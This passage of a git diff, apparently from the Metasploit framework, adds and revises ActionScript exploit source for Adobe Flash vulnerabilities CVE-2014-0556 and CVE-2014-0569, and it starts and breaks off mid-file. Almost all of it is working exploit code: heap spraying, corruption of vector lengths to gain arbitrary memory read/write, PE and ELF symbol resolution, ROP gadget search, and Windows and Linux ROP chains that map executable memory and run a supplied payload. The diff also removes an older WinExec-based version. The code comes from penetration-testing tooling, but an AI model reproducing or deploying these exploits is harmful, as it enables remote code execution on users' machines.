read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2014-0556/ExploitVector.as b/external/source/exploits/CVE-2014-0556/ExploitVector.as new file mode 100644 index 0000000000..fe25df3aac --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 0x3fe + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0556/Exploiter.as b/external/source/exploits/CVE-2014-0556/Exploiter.as new file mode 100644 index 0000000000..b371c51895 --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(89698) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2014-0556/Logger.as b/external/source/exploits/CVE-2014-0556/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2014-0556/Main.as b/external/source/exploits/CVE-2014-0556/Main.as deleted file mode 100755 index 99364ccd47..0000000000 --- a/external/source/exploits/CVE-2014-0556/Main.as +++ /dev/null @@ -1,182 +0,0 @@ -// Build how to: -// 1. Download the AIRSDK, and use its compiler. -// 2. Download the Flex SDK (4.6) -// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) -// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) -// 4. Build with: mxmlc -o msf.swf Main.as - -// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/ -// Modified to be used from msf - -package -{ - import flash.display.Sprite - import flash.display.BitmapData - import flash.geom.Rectangle - import flash.utils.ByteArray - import flash.display.LoaderInfo - import mx.utils.Base64Decoder - - public class Main extends Sprite - { - private var bv:Vector. = new Vector.(12800) - private var uv:Vector. = new Vector.(12800) - private var bd:BitmapData = new BitmapData(128, 16) - private var i:uint = 0 - - public function Main() - { - var b64:Base64Decoder = new Base64Decoder() - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - var payload:String = b64.toByteArray().toString() - - for (i = 0; i < bv.length; i++) { - bv[i] = new ByteArray() - bv[i].length = 0x2000 - bv[i].position = 0xFFFFF000 - } - - for (i = 0; i < bv.length; i++) - if (i % 2 == 0) bv[i] = null - - for (i = 0; i < uv.length; i++) { - uv[i] = new Vector.(1022) - } - - bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401]) - - for (i = 0; ; i++) - if (uv[i].length == 0xffffffff) break - - for (var i2:uint = 1; i2 < uv.length; i2++) { - if (i == i2) continue - uv[i2] = new Vector.(1014) - uv[i2][0] = bv[6401] - uv[i2][1] = this - } - - uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000 - bv[6401].endian = "littleEndian" - bv[6401].length = 0x500000 - var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000 - var main:uint = uv[i][0xfffffc09] - 1 - var vtable:uint = vector_read(main) - vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) - vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff) - byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8)) - byte_write(uv[i][0]) - - var flash:uint = base(vtable) - var winmm:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", winmm) - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - byte_write(buffer + 0x100, payload, true) - byte_write(buffer + 0x20070, xchgeaxespret) - byte_write(buffer + 0x20000, xchgeaxesiret) - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x30000) - byte_write(0, 0x1000) - byte_write(0, 0x40) - byte_write(0, buffer + 0x80) - - // WinExec - byte_write(0, buffer + 0x30000) - byte_write(0, buffer + 0x100) - byte_write(0) - - byte_write(main, buffer + 0x20000) - this.toString() - } - - private function vector_write(addr:uint, value:uint = 0):void - { - addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value - } - - private function vector_read(addr:uint):uint - { - return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] - } - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) bv[6401].position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i)) - if (zero) bv[6401].writeByte(0) - } else bv[6401].writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - bv[6401].position = addr - switch(type) { - case "dword": - return bv[6401].readUnsignedInt() - case "word": - return bv[6401].readUnsignedShort() - case "byte": - return bv[6401].readUnsignedByte() - } - return 0 - } - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - bv[6401].position = addr + entry - if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))) - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - bv[6401].position = addr + entry - if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } - } -} diff --git a/external/source/exploits/CVE-2014-0556/PE.as b/external/source/exploits/CVE-2014-0556/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0569/Elf.as b/external/source/exploits/CVE-2014-0569/Elf.as new file mode 100755 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0569/Exploit.as b/external/source/exploits/CVE-2014-0569/Exploit.as new file mode 100755 index 0000000000..49c4e20dfd --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/Exploit.as @@ -0,0 +1,114 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 2. Download the Flex SDK (4.6) +// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 4. Build with: mxmlc -o msf.swf Exploit.as + +// It uses original code from @hdarwin89 for exploitation using ba's and vectors + +package +{ + import flash.display.Sprite + import flash.utils.ByteArray + import flash.system.ApplicationDomain + import avm2.intrinsics.memory.casi32 + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + + public class Exploit extends Sprite + { + private var BYTE_ARRAY_SIZE:Number = 1024 + private var uv:Vector. + private var ba:ByteArray + private var b64:Base64Decoder = new Base64Decoder(); + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + private var defrag:Vector. = new Vector.(100) + private var ov:Vector. = new Vector.(200) + + public function Exploit() + { + var i:uint = 0 + var j:uint = 0 + + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = 